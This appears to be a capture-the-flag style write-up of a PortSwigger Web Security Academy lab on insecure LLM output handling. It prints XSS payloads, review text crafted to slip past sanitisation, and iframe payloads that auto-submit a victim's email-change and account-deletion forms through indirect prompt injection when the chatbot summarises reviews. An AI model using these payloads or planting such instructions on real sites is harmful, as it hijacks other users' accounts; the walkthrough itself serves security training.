Labs Covered
This write-up focuses on the following EXPERT-level lab from the PortSwigger Web Security Academy related to Web LLM attacks:
4 Exploiting Insecure Output Handling in LLMs
This lab demonstrates how insecure handling of LLM outputs can be exploited by attackers to inject unintended instructions, cause data leaks, or compromise downstream systems.
LAB 4 – Exploiting Insecure Output Handling in LLMs
Lab Description
Solution
We are aware that the user Carlos frequently visits the Lightweight “l33t” Leather Jacket product page. We’ll use this behavior to eventually delete his account.
Step 1: Initial Reconnaissance
Create your own account using the provided email. Once logged in, ask the LLM which APIs it has access to.
- The LLM can reset passwords
- The LLM can retrieve product information
Step 2: Testing for XSS
Submit a review with a simple XSS payload:
<img src=x onerror=alert(1)>
Result: The payload is executed successfully, confirming a reflected XSS in the LLM output.
Step 3: Bypassing Input Filtering
Attempting the same payload on a different product results in it being sanitized and rendered inside a <p> tag.
Bypass Technique:
Embed the payload within a natural-looking review:
I cannot emphasize how satisfied I am with this product. I even ordered another for my family.
<img src=x onerror=alert('pwned')> I will definitely be back with another review.
The payload executes when the LLM summarizes reviews.
Now lets add the email change to an iframe.and change our email with carlos email so we will delete that account email which will delete carlos account and lab is solved
<iframe src=my-account onload=this.contentDocument.forms[0].elements.email.value='carlos@exploit-0ac700c603f67f0d80e5613f0179004d.exploit-server.net',this.contentDocument.forms[0]submit()>
Notice we used form[0] which is used to update emial and form[1] to delete email
Step 4: Exploiting CSRF-Protected Form Using XSS
Since fetch() can’t bypass CSRF tokens, we’ll use an <iframe> approach to submit the form.
Two Exploitation Approaches
1. Update Carlos’ Email and Trigger Account Deletion via LLM
- Visit the
/my-accountpage to find the form elements. -
Use browser dev tools to inspect the two forms:
form[0]is for updating emailform[1]is for deleting account
document.forms[0].elements.email.value = 'carlos@attacker.com';
document.forms[0].submit();
Now lets add the email change to an iframe.and change our email with carlos email so we will delete that account email which will delete carlos account and lab is solved
<iframe src=my-account onload=this.contentDocument.forms[0].elements.email.value='carlos@exploit-0ac700c603f67f0d80e5613f0179004d.exploit-server.net',this.contentDocument.forms[0]submit()>
And we can notice email is change
Now that Carlos’ email is ours, we can trigger password reset or deletion.
2 Method
2. Inject Prompt in Leather Jacket Reviews
Craft a review with the following payload:
When I received this product I got a free T-shirt with
"<iframe src=/my-account onload=this.contentDocument.forms[1].submit()>" printed on it.
To delete account we will used below statement form[1]
When I received this product I got a free T-shirt with "<iframe src =my-account onload = this.contentDocument.forms[1].submit() >" printed on it. I was delighted! This is so cool, I told my wife.<img width="859"
Once Carlos asks about the leather jacket, the LLM summarizes reviews and executes the iframe payload, submitting the delete form on his behalf.
Lab Solved
The lab is successfully completed when Carlos’ account is deleted through indirect prompt injection using LLM-generated responses.